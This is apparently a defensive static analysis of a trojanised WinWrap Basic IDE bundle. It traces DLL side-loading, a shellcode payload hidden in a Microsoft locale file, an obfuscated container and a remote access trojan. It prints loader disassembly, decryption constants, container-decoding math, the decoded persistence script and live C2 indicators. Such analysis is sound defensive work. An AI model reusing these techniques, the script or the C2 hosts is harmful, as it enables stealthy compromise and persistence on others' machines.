Sample set CNCMachineRMS — five malicious artefacts in a 21-file application bundle
2026-08-22
This analysis is entirely static. No artefact in this bundle was executed, loaded, or passed to any interpreter at any point. Every decoding step described here was performed by re-implementing the sample’s own transformation in Python and applying it to bytes read from disk — the sample’s code was never run to produce a result.
Findings derived from automated tooling (capa, r2inspect, Ghidra decompilation) are treated as hypotheses and are labelled as such. Only claims verified against radare2 disassembly or against a reproduced decode are stated as findings. Confidence ratings appear inline.
This bundle is a weaponised copy of a legitimate, signed commercial application — the WinWrap Basic IDE — repackaged so that starting the genuine signed executable silently loads attacker code through DLL search-order hijacking. Of the 21 files, 16 are authentic Microsoft or third-party redistributables and the signed vendor application itself; five are malicious, all compiled on the same day.
The chain runs four stages. A signed vendor DLL calls into a malicious DLL planted alongside it; that loader decrypts a shellcode payload hidden inside what is otherwise a genuine Microsoft locale-data file; the shellcode parses a custom obfuscated container and extracts a 1.58 MB remote access trojan.
The RAT is a full-featured, professionally engineered implant. It performs exhaustive host profiling, enumerates and targets thirteen browsers, provides an interactive shell and arbitrary payload execution through fifteen handlers reaching six living-off-the-land binaries (four of which fetch their payload from a URL), carries an unusually broad anti-virtualisation battery, and maintains self-healing persistence that masquerades under the name of the legitimate host application — two mechanisms in this build’s configuration, four implemented and operator-selectable. It resolves its command-and-control server over DNS-over-HTTPS, defeating local DNS monitoring.
The RAT is fully armed as delivered. It carries two
hardcoded command-and-control gates — a domain and a bare IP, both on
port 443 — inside an encrypted settings container appended to the
payload. Because one gate is an IP literal, blocking DNS-over-HTTPS does
not sever C2. Campaign tag: first.
The bundle comprises 21 files. The seven below are the ones that
matter to this analysis: two benign signed components that form the
execution path, and five malicious files. The remaining fourteen
comprise twelve standard redistributables
(msvcp140/_1/_2,
vcruntime140/_1, ucrtbase,
concrt140, mfc140u, SDL3, and the
MinGW runtime set libgcc_s_seh-1, libstdc++-6,
libwinpthread-1) plus two further WinWrap Basic components,
wwb9_64.dll and wwb9$000.dll. None has a role
in the chain, and all fourteen are excluded by the rule validation in
Detection Opportunities.
| File | SHA-256 | Size | Role |
|---|---|---|---|
WinWrapIDE.exe |
0562c588997fa9961d55c6ab1db2656344324bca8db9ea7b64fe309132b2399f |
313,512 | Benign, signed. Execution entry point |
wwide9.dll |
e50d9b4dc4db137c1aa6c48f801785e0300fc1091c61ca9385e8116cdca88768 |
96,424 | Benign, signed. Crosses the trust boundary |
PkSql1.dll |
d7bcae4a915261ace7a845f8c1bb2a54ce918921805204125705bfae29656851 |
120,832 | Malicious. Stage-1 loader |
HTS25.dll |
32797a560b9a290e715cb5591e71dd9537d782862324906e1bb4652dd2366c9a |
97,792 | Malicious. Execution helper |
usbraw.dll |
d4df2adf41455644e8df22db1f410a46d2d069cdcc6373aac0742d65c34c2186 |
103,936 | Malicious. TCP listener + audio capture |
Graphic.Model.dat |
6b1dfa9381c54782da709478c2f343b2988f089da449f0bd79fd732265f4e6d7 |
1,013,891 | Malicious carrier. Stage-2 container |
load.db |
9a7ec20cfe939a0739819262c1e3ff0265c851136cc263597936773376a5d907 |
1,690,488 | Malicious carrier. Stage-3 container |
Recovered during this analysis; not present in the bundle, and existing only in memory at runtime. The hashes are provided so a memory image can be matched against them (Recommendation 8).
| Artefact | SHA-256 | Size | Origin |
|---|---|---|---|
| Stage-2 shellcode | 840bd56fd0055c056b4e199b8906a79d993c839342f3e1d1dccc6ade13518fc7 |
340,803 | Graphic.Model.dat @ 0x3ab30, rolling
XOR |
| Stage-3 RAT | bd9b94186ff9aef3b2fd78ebc38fa169d5a7821bb6a8e57b25bbdff55476c152 |
1,580,970 | load.db record tid=16100 @ 0x1abce |
All five malicious files carry compilation timestamps of 2026-08-04, against 2020–2026 dates for the legitimate components. The three malicious DLLs are unsigned; the legitimate components are signed.
| # | Severity | Finding |
|---|---|---|
| 1 | Critical | Signed-application side-loading: a signed vendor DLL calls an unsigned attacker DLL, laundering execution through a trusted process |
| 2 | Critical | Four-stage chain terminating in a 1.58 MB modular RAT with interactive shell and arbitrary payload execution |
| 3 | High | Self-healing persistence (Run key + scheduled task) re-applied on a
timer and at shutdown, named after the legitimate host application —
with two further operator-selectable mechanisms (HKLM Run, Startup
.lnk) implemented in the payload (§6b) |
| 4 | High | C2 name resolution tunnelled over DNS-over-HTTPS to public resolvers, bypassing local DNS logging and blocking |
| 5 | High | Malicious payload spliced into the middle of a genuine Microsoft locale-data file to evade file-carving and inspection |
| 6 | High | Bespoke arithmetically-obfuscated container format, defeating signature and carving approaches |
| 7 | Medium | Extensive anti-virtualisation battery: ~60 driver, service, process, PCI-vendor and registry checks across VMware, VirtualBox, Hyper-V, QEMU, Xen and Parallels |
| 8 | Medium | Broad credential-theft surface: thirteen browsers targeted by name, plus cookie and download-directory access |
| 9 | Medium | Shellcode executed via a callback-pointer abuse of
EnumSystemCodePagesW rather than a direct call |
| 10 | Critical | Two hardcoded C2 gates
(triotmelon.com:443 and 144.124.242.171:443)
in an encrypted settings container appended to the stage-3 payload; the
IP gate is DNS-independent |
| 11 | High | Configuration and the RAT’s own startup program are stored as an interpreted script in that container — the implant is script-driven, so behaviour is config rather than compiled code |
Every technique below is mapped from a finding derived first-hand from the sample’s bytes. A technique appears here only if the report establishes it by disassembly, decoded script source, or decoded string evidence — capabilities inferred from imports alone, or adopted from third-party reporting on other builds of this family (see External Intelligence Corroboration), are excluded. The Evidence column cites the Technical Analysis section that grounds the row, not the Key Findings table, since the two use different numbering.
Confidence carries the same meaning as in Technical Analysis: High = read off the bytes; Medium = strongly supported but with one unresolved join.
| ID | Technique | Evidence | Confidence |
|---|---|---|---|
| T1129 | Shared Modules | The OS loader resolves PkSql1!OptimizeTextCard as a
normal import of signed wwide9.dll; no injection or
patching is involved (§1) |
High |
| T1106 | Native API | VirtualAlloc RWX, LoadLibraryW,
BCryptGenRandom reached only from the malicious export set
(§2, §14) |
High |
| T1059.001 | Command and Scripting Interpreter: PowerShell | PowerShell invocation with -ExecutionPolicy Bypass
among the payload’s execution handlers (§9, §15) |
High |
| T1059.003 | Command and Scripting Interpreter: Windows Command Shell | Interactive shell channel and cmd-routed handlers
(§9) |
High |
| T1053.005 | Scheduled Task/Job: Scheduled Task | autorunToSheduler() re-applied on an 875 s timer; task
created /RU SYSTEM (§5, §6) |
High |
| T1203 | Exploitation for Client Execution | Not observed. Listed to record an explicit negative: the chain uses no exploit at any stage | High |
| ID | Technique | Evidence | Confidence |
|---|---|---|---|
| T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | autorunToRegistry() writes HKCU Run as
SPSS WinWrap Basic IDE 27.4; AUTORUN_HK (HKLM)
and AUTORUN_STARTUP_LNK selectable per task (§6, §6b) |
High |
| T1053.005 | Scheduled Task/Job: Scheduled Task | Second of the two configured stores; check-then-restore, not blind write (§6) | High |
| T1574.002 | Hijack Execution Flow: DLL Side-Loading | The load-time chain across the trust boundary into a signed process image (§1) | High |
| ID | Technique | Evidence | Confidence |
|---|---|---|---|
| T1053.005 | Scheduled Task/Job: Scheduled Task | Task registered with /RU SYSTEM, yielding SYSTEM
execution context (§6) |
High |
| T1574.002 | Hijack Execution Flow: DLL Side-Loading | Inherits the host application’s context and trust (§1) | High |
| ID | Technique | Evidence | Confidence |
|---|---|---|---|
| T1574.002 | Hijack Execution Flow: DLL Side-Loading | Signature and allowlist controls do not fire — both the executing image and the importing module are genuinely signed (§1) | High |
| T1027 | Obfuscated Files or Information | LCG stack strings, per-stage re-keyed (§7, §15); corroborated
independently by capa [T1027] |
High |
| T1027.005 | Obfuscated Files or Information: Indicator Removal from Tools | capa match; consistent with the near-total absence of literal strings in stage 3 (§7) | Medium |
| T1027.007 | Obfuscated Files or Information: Dynamic API Resolution | FNV-1a hash → API resolution; 23 modules resolved (§8) | High |
| T1027.009 | Obfuscated Files or Information: Embedded Payloads | Stage 2 spliced into a genuine Microsoft LCDT carrier,
Graphic.Model.dat (§2) |
High |
| T1140 | Deobfuscate/Decode Files or Information | Rolling positional XOR (stage 1), XOR 0x92 (script),
per-string XOR over UTF-16LE (settings blob) (§2, §5, §11) |
High |
| T1620 | Reflective Code Loading | Payload never touches disk; RWX allocation at a non-page-aligned
entry (pbBuffer + 0xc033) (§2, §3) |
High |
| T1562.001 | Impair Defenses: Disable or Modify Tools | AMSI bypass indicators, stage-2 amsi.dll LCG site
(§15) |
Medium |
| T1497 | Virtualization/Sandbox Evasion | isVm() gate in the startup script;
%SYSTEMDRIVE%\Intel allowlist disables the whole path (§10,
§15b) |
High |
| T1497.003 | Virtualization/Sandbox Evasion: Time Based Evasion | vmdetect_sleep_seconds sleep on detection;
duration not recoverable for this build (§11f) |
Medium |
| T1036 | Masquerading | Persistence entry named SPSS WinWrap Basic IDE 27.4;
module filenames chosen to blend into a CNC/CAD file set (§6, §14) |
High |
| T1036.001 | Masquerading: Invalid Code Signature | Not observed. Explicit negative — the signatures present are genuine, which is the point of §1 | High |
| T1218 | System Binary Proxy Execution | Handler set reaching rundll32, regsvr32,
msiexec, cscript among six distinct LOLBins
(§9) |
High |
| T1055 | Process Injection | RWX allocation and callback-pointer control transfer within the host process (§2, §3) | High |
| ID | Technique | Evidence | Confidence |
|---|---|---|---|
| T1082 | System Information Discovery | Host survey including motherboard and BIOS serials;
MachineGuid read from the registry (§8) |
High |
| T1012 | Query Registry | MachineGuid LCG-constructed registry path, decoded
arithmetically (§8) |
High |
| T1497 | Virtualization/Sandbox Evasion | Environment checks feeding the isVm() gate (§10) |
High |
| T1083 | File and Directory Discovery | Stage 2 discovers its own payload by directory sweep and format validation, not by filename (§3, §4) | High |
| ID | Technique | Evidence | Confidence |
|---|---|---|---|
| T1113 | Screen Capture | Settings-blob field is_tosend_firstlaunch_screenshot
decoded at 0x181c1d, value 1 (enabled)
(§11f) |
High |
| T1123 | Audio Capture | Microphone capability in usbraw.dll (§13) |
High |
| T1005 | Data from Local System | Host survey reads uninstall inventory and URL-association keys under
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
(§8) |
High |
| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Decoded stage-3 strings name cookies,
state, downloads and the browser
UrlAssociations key (§8) |
Medium |
| ID | Technique | Evidence | Confidence |
|---|---|---|---|
| T1071.001 | Application Layer Protocol: Web Protocols | Both gates connect on port 443 (§11) | High |
| T1071.004 | Application Layer Protocol: DNS | DoH resolution path, three providers selectable, default
dns.google (§12) |
High |
| T1572 | Protocol Tunneling | DNS-over-HTTPS used to resolve the domain gate, evading plaintext DNS monitoring (§12) | High |
| T1573 | Encrypted Channel | Handshake following connect; note the traffic is assessed as likely not TLS despite port 443 (§11g) | Medium |
| T1008 | Fallback Channels | Dual gate — a domain and a bare IP; the IP gate is DNS-independent (§11) | High |
| T1205 | Traffic Signaling | usbraw.dll binds and listens for an inbound
operator connection, a second and independent channel (§13) |
High |
| T1105 | Ingress Tool Transfer | Zipped _BY_LINK payload-staging handlers (§9) |
High |
| ID | Technique | Evidence | Confidence |
|---|---|---|---|
| T1041 | Exfiltration Over C2 Channel | Collected data returned over the established gate session; the exfiltration routine itself was not traced end to end (§9) | Medium |
Three limits on the table above, stated so it is not read as an enumeration of the implant’s full capability:
0x119af8 dispatches script steps. No
call path from a known C2 function reaches it, but the C2 path
does start it as a thread (§8c), so there is no separate command
router: operator commands arrive as script for this
interpreter. The table is a lower bound because the DSL is open-ended,
not because router code went unread.T1027
and T1027.005 — a far narrower set than the mapping above,
because capa reads the native stub and not the decoded stage-3
behaviour. The divergence is expected, not a contradiction.The chain is shown as two figures. Figure 1 covers delivery and
loading, from the signed host application to the point where the
obfuscated container is parsed; Figure 2 covers what the extracted
stage-3 RAT does. load.db appears in both as the join.
Figure 1 — Delivery and loading (Stages 1–2). The trust boundary is crossed by the OS loader resolving a legitimate import, not by injection.
Figure 2 — Stage 3 RAT capabilities and C2. Both gates are hardcoded in the appended settings blob; the IP gate needs no name resolution.
The same chain in text form, for grep and for terminal reading:
WinWrapIDE.exe [signed, legitimate]
|
v
wwide9.dll [signed, legitimate]
| imports PkSql1!OptimizeTextCard <-- TRUST BOUNDARY CROSSED
v
PkSql1.dll [malicious, unsigned] STAGE 1
| LoadLibraryW("usbraw.dll")
| fread(Graphic.Model.dat, offset 0x3ab30, 0x53343 bytes)
| rolling-XOR decrypt
v
HTS25.dll!LoadDatabase [malicious, unsigned]
| VirtualAlloc(RWX) + BCryptGenRandom entropy flood
| EnumSystemCodePagesW(payload as lpCodePageEnumProc)
v
Stage-2 shellcode [340,803 bytes, in memory only] STAGE 2
| scan dirs for *.bak/db/bin/dat/raw/pak
| validate container (key 0x43d75dfd)
| parse 1128-record obfuscated directory
v
load.db record tid=16001 -> orchestration script (XOR 0x92)
load.db record tid=16100 -> STAGE 3 RAT (1,580,750 bytes)
|
v
Stage-3 RAT STAGE 3
|
+-- persistence ---> HKCU Run key (re-applied every 150 s) [configured]
| schtasks ONLOGON (re-applied every 875 s) [configured]
| shutdown hook (re-applied on shutdown) [configured]
| HKLM Run / Startup .lnk [implemented, operator-selectable]
|
+-- anti-analysis -> ~60 VM/sandbox checks
| C:\Intel present => all checks skipped
|
+-- collection ----> host survey, 13 browsers, cookies, downloads
| Defender config + MachineGuid
|
+-- execution -----> 15 payload handlers, 6 LOLBins
| cmd / powershell / msiexec / rundll32
| / regsvr32 / cscript
| 4x _BY_LINK fetch-then-run (+2 stubs)
| interactive shell queue
|
+-- C2 ------------> settings blob (appended to payload, per-string XOR)
gate_list -> communicator::add_gate
|
+-- triotmelon.com:443 -> DoH resolve
| (cloudflare-dns.com | dns.google
| | dns.quad9.net)
+-- 144.124.242.171:443 -> direct, NO DNS
=> blocking DoH does not sever C2
usbraw.dll!EstablishTcpListenerSession -> bind/listen TCP backdoor
(address + port are parameters)
The sample was never executed. Every finding below
was derived from static analysis of the bytes on disk: disassembly,
decoded string tables, and decoders re-implemented in Python from each
stage’s own source. No stage was passed to pwsh,
cmd, Invoke-Expression, or any other
evaluator, and no network request was made to any host named in this
report — including the C2 domain, which was not
resolved.
Where a stage transforms data, the transformation was re-implemented rather than reused, so that a stage behaving differently from what its source appears to say produces a decode failure rather than silent execution.
Tool output — capa, r2inspect, Ghidra, ClamAV, YARA — is treated throughout as a hypothesis generator, not ground truth. No such output is cited as a finding without independent verification against disassembly; where the two disagree, the disagreement is reported rather than silently resolved. Confidence ratings carry the meaning given in the ATT&CK mapping above: High = read off the bytes, Medium = strongly supported with one unresolved join.
The execution entry point is WinWrapIDE.exe, a
legitimately signed copy of the WinWrap Basic IDE. It loads
wwide9.dll, also signed. wwide9.dll imports
the symbol OptimizeTextCard from
PkSql1.dll — an unsigned,
attacker-supplied DLL placed in the same directory.
This is the trust boundary. Because the loading process and the loading module are both signed and legitimate, the attacker’s code executes inside a process that application-allowlisting and signature-based controls will treat as trusted. Nothing about the launch appears anomalous to the user: the real IDE starts and runs.
Verified by reading the import directory of wwide9.dll
and the export directory of PkSql1.dll. The trust boundary
is visible in two rabin2 reads — the signed module’s
import, and the unsigned module’s matching export:
$ rabin2 -i wwide9.dll | grep -i pksql
1 0x180006188 NONE FUNC PkSql1.dll OptimizeTextCard
$ rabin2 -E PkSql1.dll
nth paddr vaddr bind type size lib name
1 0x00001804 0x180002404 GLOBAL FUNC 0 PkSql1.dll BuildSplineControlMesh
2 0x00000d84 0x180001984 GLOBAL FUNC 0 PkSql1.dll ComposeMultiLayerCanvas
3 0x00003870 0x180004470 GLOBAL FUNC 0 PkSql1.dll EnumerateComMonikerBindings
4 0x00002220 0x180002e20 GLOBAL FUNC 0 PkSql1.dll FlushParticleEmitterField
5 0x000008f4 0x1800014f4 GLOBAL FUNC 0 PkSql1.dll OptimizeTextCard
6 0x00004600 0x180005200 GLOBAL FUNC 0 PkSql1.dll RasterizeGlyphOutlineBatch
7 0x00002e50 0x180003a50 GLOBAL FUNC 0 PkSql1.dll SetupWaveOutRingBuffer
OptimizeTextCard resolves to 0x1800014f4,
the fifth of seven exports — the other six are decoys (§14). The signing
asymmetry is a single field in each module’s header, and is the whole of
the attack’s leverage:
$ rabin2 -I wwide9.dll | grep -E 'arch|bits|signed'
arch x86
bits 64
signed true
$ rabin2 -I PkSql1.dll | grep -E 'arch|bits|signed'
arch cil
bits 64
signed false
Note arch cil on PkSql1.dll: it is a
mixed-mode C++/CLI image, so radare2 defaults to disassembling its
native code as CIL and produces nonsense. Every disassembly listing in
this report from PkSql1.dll and HTS25.dll
therefore forces the architecture explicitly with
-e asm.arch=x86 -e asm.bits=64. A reader who omits that
will not reproduce these results.
PkSql1.dll!OptimizeTextCard @
0x1800014f4:
LoadLibraryW("usbraw.dll"), bringing the
TCP-listener module into the trusted process.Graphic.Model.dat at a hardcoded
offset, via FUN_180001390:
fseek(_File, 0x3ab30, 0); fread(buf, 1, 0x53343, _File);0x53343 bytes with a
position-dependent rolling XOR (FUN_180001314).Both constants are immediates in the disassembly.
FUN_180001390 opens by loading the payload length into
r15d, then seeks to the hardcoded offset:
$ r2 -q -e asm.arch=x86 -e asm.bits=64 -c 'aaa; s 0x180001390; pdf' PkSql1.dll
┌ 338: fcn.180001390 (int64_t arg1, int64_t arg2, ...);
│ 0x1800013d1 41bf43330500 mov r15d, 0x53343 ; payload length
│ 0x1800013ee 488d15c327.. lea rdx, [0x180013bb8] ; "rb"
│ 0x1800013f8 ff1572ff0000 call qword [sym.imp...._wfopen]
│ 0x180001416 4533c0 xor r8d, r8d ; SEEK_SET
│ 0x180001419 ba30ab0300 mov edx, 0x3ab30 ; hardcoded offset
│ 0x180001421 ff1559ff0000 call qword [sym.imp...._fseek]
│ 0x18000144d 4c8bcf mov r9, rdi ; FILE*
│ 0x180001450 4d8bc7 mov r8, r15 ; nmemb = 0x53343
│ 0x180001453 ba01000000 mov edx, 1 ; size = 1
│ 0x180001458 488b4de0 mov rcx, qword [stream]
│ 0x18000145c ff1516ff0000 call qword [sym.imp...._fread]
The decryptor FUN_180001314 is 58 bytes end to end, and
carries every constant of the keystream as an immediate:
$ r2 -q -e asm.arch=x86 -e asm.bits=64 -c 'aaa; s 0x180001314; pdf' PkSql1.dll
┌ 58: fcn.180001314 (int64_t arg1);
│ 0x180001314 33d2 xor edx, edx
│ 0x180001316 4c8bc9 mov r9, rcx
│ 0x180001319 4885c9 test rcx, rcx
│ 0x18000131c 742f je 0x18000134d
│ 0x18000131e 448d5207 lea r10d, [rdx + 7] ; r10 = 7
│ 0x180001322 448bc2 mov r8d, edx ; index = 0
│ ; loop:
│ 0x180001325 418ac0 mov al, r8b ; al = index
│ 0x180001328 418d485c lea ecx, [r8 + 0x5c] ; cl = index + 0x5c
│ 0x18000132c c0e002 shl al, 2 ; al = index * 4
│ 0x18000132f 4183ea53 sub r10d, 0x53 ; r10 -= 0x53
│ 0x180001333 02c8 add cl, al ; cl += index*4
│ 0x180001335 83c207 add edx, 7 ; edx += 7
│ 0x180001338 4102ca add cl, r10b
│ 0x18000133b 02ca add cl, dl
│ 0x18000133d 43300c01 xor byte [r9 + r8], cl ; the XOR
│ 0x180001341 49ffc0 inc r8
│ 0x180001344 4981f84333.. cmp r8, 0x53343 ; exactly the read length
│ 0x18000134b 72d8 jb 0x180001325
│ 0x18000134d c3 ret
The Ghidra pseudocode the analysis was originally written from renders the same loop as:
cVar1 = '\0'; cVar3 = '\a'; uVar2 = 0;
do {
cVar3 = cVar3 + -0x53;
cVar1 = cVar1 + '\a';
*(byte *)(param_1 + uVar2) ^= (char)uVar2 * '\x05' + '\\' + cVar3 + cVar1;
uVar2 = uVar2 + 1;
} while (uVar2 < 0x53343);The two agree, but not obviously — the disassembly multiplies the
index by four (shl al, 2), not five. The
fifth multiple comes from add cl, dl, where dl
advances by 7 per iteration and is not the same counter. This was
verified by executing both forms over the same index range and comparing
keystreams byte for byte rather than by inspection; they are identical.
The end-to-end check is stronger still: the keystream derived
from the instructions alone, applied to
Graphic.Model.dat[0x3ab30 : 0x3ab30+0x53343], yields
340,803 bytes whose SHA-256 is
840bd56fd0055c056b4e199b8906a79d993c839342f3e1d1dccc6ade13518fc7
— the stage-2 hash in Sample Identification — beginning
48 83 ec 28 (sub rsp, 0x28), a valid x86-64
prologue.
The keystream depends on the byte’s position, so a partial or misaligned read produces garbage rather than partially-correct output — which is what makes the hardcoded offset load-bearing rather than incidental.
3a. The carrier is a genuine Microsoft file (High
confidence). Only 0x53343 of
Graphic.Model.dat’s 1,013,891 bytes are payload. The
remaining ~240 KB before and ~433 KB after are not padding: the file
begins with the magic LCDT followed by “Copyright (C)
1997, Microsoft Corporation. All rights reserved.”, and both
regions have low entropy (1.836 and 1.180) consistent with structured
tabular data. This is an authentic Windows locale-data table with the
payload spliced into its middle. A defender carving for
high-entropy blobs, or checking the file’s header and footer, sees a
legitimate Microsoft data file.
HTS25.dll!Accuracy @ 0x180001418 prepares
the buffer. The allocation and its computed protection constant:
$ r2 -q -e asm.arch=x86 -e asm.bits=64 -c 'aaa; s 0x180001418; pdf' HTS25.dll
┌ 589: sym.HTS25.dll_Accuracy (int64_t arg1, ...);
│ 0x18000144e 448d493c lea r9d, [rcx + 0x3c] ; flProtect = arg1 + 0x3c
│ 0x180001452 ba00604900 mov edx, 0x496000 ; dwSize
│ 0x180001457 33c9 xor ecx, ecx ; lpAddress = NULL
│ 0x180001459 41b800300000 mov r8d, 0x3000 ; MEM_COMMIT|MEM_RESERVE
│ 0x18000145f ff1523ec0000 call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
...
│ 0x18000161a ff1550ed0000 call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
│ 0x18000162b 488d8333c0.. lea rax, [rbx + 0xc033] ; returned pointer
Instruction order carries the finding.
lea r9d, [rcx + 0x3c] executes before
xor ecx, ecx, so rcx there is still
Accuracy’s own first argument, not the zeroed
lpAddress. The protection is therefore
arg1 + 0x3c, and the value of arg1 is fixed at
the call site in the other module:
$ r2 -q -e asm.arch=x86 -e asm.bits=64 -c 'aaa; pD 0x30 @ 0x180001796' PkSql1.dll
│ 0x1800017b5 b904000000 mov ecx, 4
│ 0x1800017ba ff15e8f80000 call qword [sym.imp.HTS25.dll_Accuracy]
4 + 0x3c = 0x40 = PAGE_EXECUTE_READWRITE. The RWX
allocation is thus proven from two instructions in two separate
binaries, neither of which contains the literal 0x40 —
which is the point of splitting it that way.
BCryptGenRandom then floods the allocation with entropy,
and the function returns pbBuffer + 0xc033, a deliberately
non-page-aligned payload offset that frustrates tooling
assuming shellcode begins at a page boundary.
HTS25.dll!LoadDatabase @ 0x180001668 then
transfers control by passing the buffer to
EnumSystemCodePagesW as its
lpCodePageEnumProc callback. The whole function is 97
bytes, and the SDL3 calls preceding the transfer are decoy work:
$ r2 -q -e asm.arch=x86 -e asm.bits=64 -c 'aaa; s 0x180001668; pdf' HTS25.dll
┌ 97: sym.HTS25.dll_LoadDatabase (int64_t arg1, int64_t arg2, ...);
│ 0x180001668 48895c2408 mov qword [arg_8h], rbx
│ 0x18000166e 4883ec20 sub rsp, 0x20 ; shadow space
│ 0x180001672 488bf9 mov rdi, rcx ; rdi = payload ptr
│ 0x180001677 ff15f3ea0000 call qword [...SDL_CreateEnvironment]
│ 0x18000168f ff15b3ea0000 call qword [...SDL_GetEnvironmentVariable]
│ 0x180001698 ff15f2ea0000 call qword [...SDL_GetEnvironmentVariables]
│ 0x1800016a1 ff1591ea0000 call qword [...SDL_free]
│ 0x1800016aa ff1568ea0000 call qword [...SDL_DestroyEnvironment]
│ 0x1800016b0 ba01000000 mov edx, 1 ; dwFlags = CP_INSTALLED
│ 0x1800016b5 488bcf mov rcx, rdi ; lpCodePageEnumProc
│ 0x1800016b8 ff15d2e90000 call qword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
│ 0x1800016c8 c3 ret
The payload pointer arrives in rcx, is parked in
rdi across the decoy calls, and is restored to
rcx — the lpCodePageEnumProc position —
immediately before the call. There is no CreateThread, no
call rax on a freshly-allocated buffer, and no direct jump
into the payload: the transition is made by a legitimate Windows API on
the attacker’s behalf.
Correction of an earlier reading, itself now corrected: the
second argument 0x20 to LoadDatabase was first
taken to be a key length, then restated as the dwFlags
argument to EnumSystemCodePagesW. The disassembly supports
neither. mov edx, 0x20 at 0x180001947 in
PkSql1.dll genuinely is LoadDatabase’s second
argument, but LoadDatabase never reads
rdx — it hardcodes mov edx, 1 for the
API call. 0x20 is a dead argument, and the
0x20 visible inside LoadDatabase is
sub rsp, 0x20, the Win64 shadow-space allocation, unrelated
to either. The flags value that reaches the API is 1
(CP_INSTALLED), which is what the constant name was always
right about. See Corrections item 43.
load.db container format (High confidence, fully
reproduced)Stage 2 searches directories for files with extensions
bak, db, bin, dat,
raw, pak (setup at 0x52669,
walker at 0x52a15) and validates each candidate against a
header check at 0x4d5f1/0x4d62d, keyed on the
constant K = 0x43d75dfd.
K is not embedded in the validator — it is passed
into it as the fourth argument, which is why a search of the
check routine’s own bytes does not find it. A binary-wide search for the
little-endian constant returns exactly one site, immediately before the
call:
$ r2 -q -e asm.arch=x86 -e asm.bits=64 -m 0 \
-c '/x fd5dd743' payload_stage2.bin
0x000530a4 hit0_0 fd5dd743 # one hit, binary-wide
$ r2 -q -e asm.arch=x86 -e asm.bits=64 -m 0 \
-c 'pD 0x30 @ 0x530a2' payload_stage2.bin
0x000530a2 41b9fd5dd743 mov r9d, 0x43d75dfd ; K, 4th argument
0x000530a8 4c8b842430.. mov r8, qword [rsp + 0x130]
0x000530b0 488b942438.. mov rdx, qword [rsp + 0x138]
0x000530b8 488b4c2430 mov rcx, qword [rsp + 0x30]
0x000530bd e82fa5ffff call 0x4d5f1 ; the header check
0x000530c2 0fb6c0 movzx eax, al
0x000530c5 85c0 test eax, eax
0x000530c7 7422 je 0x530eb ; reject candidate
0x4d5f1 is a five-instruction forwarder that re-marshals
the same four arguments and tail-calls 0x4d62d, which is
why both addresses name the check. The single-hit result matters: it
establishes that the container key exists in exactly one place in stage
2, so this call is the validation site rather than one of
several.
The format is not TLV. Every structural field is
arithmetically obfuscated: stored as the result of a
multiply-and-subtract against K and a per-record salt, so
no field is readable in a hex dump and no fixed byte pattern exists to
signature. The algebra, recovered by reading the field decoder at
0x4b27d:
K = 0x43d75dfd
header, q = little-endian qwords at offset 0:
magic = q[2] - ((K - q[0]*q[1]) + q[5]) == 1
directory entry i at 0x78 + i*0x58, salt s = qword[entry + 0x00]:
parent/index = (q[1] - K*s) - s
type_id = (q[3] - K*(s+5)) + 2*s
size = (q[4] - K) - 7*s
layout: 0x00 header | 0x78 directory (1128 x 0x58) | 0x18438 data region
Validation. The decode was not fitted to a guess —
it is confirmed by three independent exact arithmetic identities: the
magic decodes to exactly 1; a header field decodes to
0x19cb78, exactly the file size; and the sum of all 1,128
record sizes is 1,591,104, exactly the length of the data region (end
offset 0x19cb78, delta 0).
Records carry numeric type IDs in the range
0x3e80–0x3ea4 (16000–16036). The container
holds two significant records:
| tid | offset | size | content |
|---|---|---|---|
| 16001 | 0x18438 |
3,904 | orchestration script, XOR key 0x92 |
| 16100 | 0x1abce |
1,580,750 | the stage-3 RAT (@input) |
Four small records hold UTF-16LE strings under a 16-bit word XOR (not a byte key — an earlier byte-key attempt failed because the high bytes varied):
| tid | offset | key | value |
|---|---|---|---|
| 16052 | 0x19caa4 |
0xa7a7 |
registryAutorunValue |
| 16054 | 0x19cad4 |
0xb1b1 |
SPSS WinWrap Basic IDE 27.4 |
| 16052 | 0x19cb12 |
0x7070 |
shedulerAutorunValue |
| 16054 | 0x19cb42 |
0x8989 |
SPSS WinWrap Basic IDE 27.4 |
The @input payload boundary at 0x1abce was
independently reproduced by two unrelated methods — this container
decode, and an earlier XOR-based analysis — which is the strongest
available corroboration of the offset.
Record tid=16001 decodes to a compiled script in a bespoke DSL with
task and function constructs,
::-namespaced builtins, and @name resource
references. Decoded in full:
The decode is a single-byte XOR over UTF-16LE and is reproducible
directly from the container on disk, without any intermediate artefact —
record tid=16001 begins at offset 0x18438 of
load.db:
$ python3 -c "
d = open('load.db','rb').read()
raw = d[0x18438:0x18438+32]
print('raw :', raw.hex(' '))
print('xor 92:', bytes(b ^ 0x92 for b in raw).hex(' '))"
raw : f1 92 fd 92 ff 92 e2 92 fe 92 f7 92 ea 92 b2 92 b6 92 e1 92 fa 92 e6 92 ff 92 fd 92 fc 92 a9 92
xor 92: 63 00 6f 00 6d 00 70 00 6c 00 65 00 78 00 20 00 24 00 73 00 68 00 74 00 6d 00 6f 00 6e 00 3b 00
Read as UTF-16LE that is complex $shtmon; — the script’s
first line, exactly as quoted below. The key is recoverable by
inspection rather than by search: every odd byte of the ciphertext is
0x92, because the high byte of each UTF-16LE code unit in
ASCII text is 0x00 and 0x00 ^ 0x92 == 0x92.
The repeating byte is the key, the same property exploited for
the settings blob in §11.
complex $shtmon;
task preparations[active=true,async=false]
{ delayer::delay_in_seconds(2); }
task autorun_on_shutdown[active=true,async=true]
{ $shtmon = shutdown_monitor::create_instance();
shutdown_monitor::start($shtmon, autorunAddOnShutdown); }
task autorun_to_registry[active=true,async=true]
{ loop { delayer::delay_in_seconds(150); autorunToRegistry(); } }
task autorun_to_sheduler[active=true,async=true]
{ loop { delayer::delay_in_seconds(875); autorunToSheduler(); } }
task block_execution[active=true,async=false]
{ int $resid = runtime::resource_get_id(@input);
complex $exe_bytes = runtime::resource_get_bytes($resid);
previewer::load_re_firmcode($exe_bytes);
delayer::delay_infinite(); }
function void autorunToRegistry() {
string $exepath = process::get_itself_path();
int $resid = runtime::resource_get_id(@registryAutorunValue);
$regValue = runtime::resource_get_string($resid);
bool $hkcuExists = autoruns::autorun_exists_hkcu($regValue, $exepath);
if ($hkcuExists == false) { autoruns::autorun_add_hkcu($regValue, $exepath); } }
